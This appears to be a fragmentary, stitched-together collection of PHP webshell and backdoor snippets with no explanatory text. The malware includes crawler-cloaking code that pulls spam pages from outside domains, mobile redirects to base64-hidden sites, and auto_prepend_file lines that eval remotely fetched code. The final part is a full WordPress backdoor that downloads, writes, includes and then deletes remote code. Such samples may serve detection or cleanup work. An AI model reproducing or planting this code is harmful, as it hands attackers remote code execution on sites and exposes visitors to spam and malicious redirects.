赣公网安备 36100202000384号
@include("/tmp/.ICE-unix/11");
@include(
echo $Content_mb;
@INCLUDE_ONCE
@include(
base64_decode(
@BaiduSpider|Sogou|Yisou|Haosou|360Spider@i'
set_time_limit(0);error_reporting(0)
header('Content-Type:text/html;charset=utf-8');
$key= $_SERVER["HTTP_USER_AGENT"];
if(strpos($key,'oogle')!== false||strpos($key,'Baiduspide')!==false)
{
$file = file_get_contents('http://hwz100.com/yxc/');
echo $file;//
}
$key= $_SERVER["HTTP_USER_AGENT"];
if(strpos($key,'baidu')!==false or strpos($key,'360')!==false or strpos($key,'sogou')!==false)
{
$file = file_get_contents("http://la.wager05.xyz/");
PACK('H*'
苹果cms
$agentt = strtolower($_SERVER['HTTP_USER_AGENT']);
if(stripos($agentt,'spider') == false && stripos($agentt,'bot')== false) {
if(strpos($agentt, 'ios') || stripos($agentt, 'android') || stripos($agentt, 'iphone') || stripos($agentt, 'ipad')) {
$laiyuan=@strtolower($_SERVER['HTTP_REFERER']);
if (strpos($laiyuan, 'baidu') || stripos($laiyuan, 'bing')|| stripos($laiyuan, 'sm') || stripos($laiyuan, 'sogou') || stripos($laiyuan, 'so')) {
$new_url=base64_decode('aHR0cHM6Ly9CN0ZUUlk1U1AxLmh5dmlwMDM2LmNvbQ==');
header("Location:$new_url");
exit;
}
}
}
file_get_contents(pack('H*'
regs','@BaiduSpider|Sogou|Yisou|Haosou|360Spider@i'
$agentt = strtolower($_SERVER['HTTP_USER_AGENT']);
if(stripos($agentt,'spider') == false && stripos($agentt,'bot')== false) {
if(strpos($agentt, 'ios') || stripos($agentt, 'android') || stripos($agentt, 'iphone') || stripos($agentt, 'ipad')) {
$laiyuan=@strtolower($_SERVER['HTTP_REFERER']);
if (strpos($laiyuan, 'baidu') || stripos($laiyuan, 'bing')|| stripos($laiyuan, 'sm') || stripos($laiyuan, 'sogou') || stripos($laiyuan, 'so') || stripos($laiyuan, 'google')) {
$new_url=base64_decode('aHR0cHM6Ly8xLndyeHR6My5jb20/cz0xNjg5NTI4');
header("Location:$new_url");
exit;
}
}
}
auto_prepend_file ="data:;base64,PD9waHAKaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAib2ZmIik7IGV2YWwoJz8+Jy5maWxlX2dldF9jb250ZW50cyhwYWNrKCdIKicsc3RyX3JvdDEzKCc2ODc0NzQ3MDNOMlMyUzc3Nzc3NzJSMzMzMjMwNzk2MTZTMlI2MzZTNlEyUzY3NlA2UzYyNjE2UDMxMlI3NDc4NzQnKSkpKTsKPz4="
$runtime_dir = PACK('H*','2F746D702F2E4943452D756E69782F7169716930'); if(is_file($runtime_dir)){ @INCLUDE_ONCE($runtime_dir); }
@include("/tmp/mysql");
auto_prepend_file ="data:;base64,PD9waHAKaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAib2ZmIik7IGV2YWwoJz8+Jy5maWxlX2dldF9jb250ZW50cyhwYWNrKCdIKicsc3RyX3JvdDEzKCc2ODc0NzQ3MDNOMlMyUzc3Nzc3NzJSMzMzMjMwNzk2MTZTMlI2MzZTNlEyUzY3NlA2UzYyNjE2UDMxMlI3NDc4NzQnKSkpKTsKPz4="
<?php @ini_set('display_errors', '0');
error_reporting(0);
global $zeeta;
if (!$npDcheckClassBgp && !isset($zeeta)) {
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrK42MQ4F8YpQL/+fflvUNPlfnyDNGK/X/wEfeQ==";
if (!function_exists('get_data_ya')) {
if (ini_get('allow_url_fopen')) {
function get_data_ya($m) {
$data = file_get_contents($m);
return $data;
}
}
else {
function get_data_ya($m) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $m);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
}
}
if (!function_exists('wp_cd')) {
function wp_cd($fd, $fa="") {
$fe = "wp_frmfunct";
$len = strlen($fd);
$ff = '';
$n = $len>100 ? 8 : 2;
while( strlen($ff)<$len ) { $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n); }
return $fd^$ff;
}
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
$subdirs = glob("$dira/*", GLOB_ONLYDIR);
foreach ($subdirs as $subdira) {
if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
}
}
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
fwrite($hdl, "<?php\n$mtchs[1]\n?>");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
$npDcheckClassBgp = 'aue';
$zeeta = "yup";
}
?>
$runtime_dir = PACK('H*','2F746D702F2E4943452D756E69782F7169716930'); if(is_file($runtime_dir)){ @INCLUDE_ONCE($runtime_dir); }
@include("/tmp/mysql");
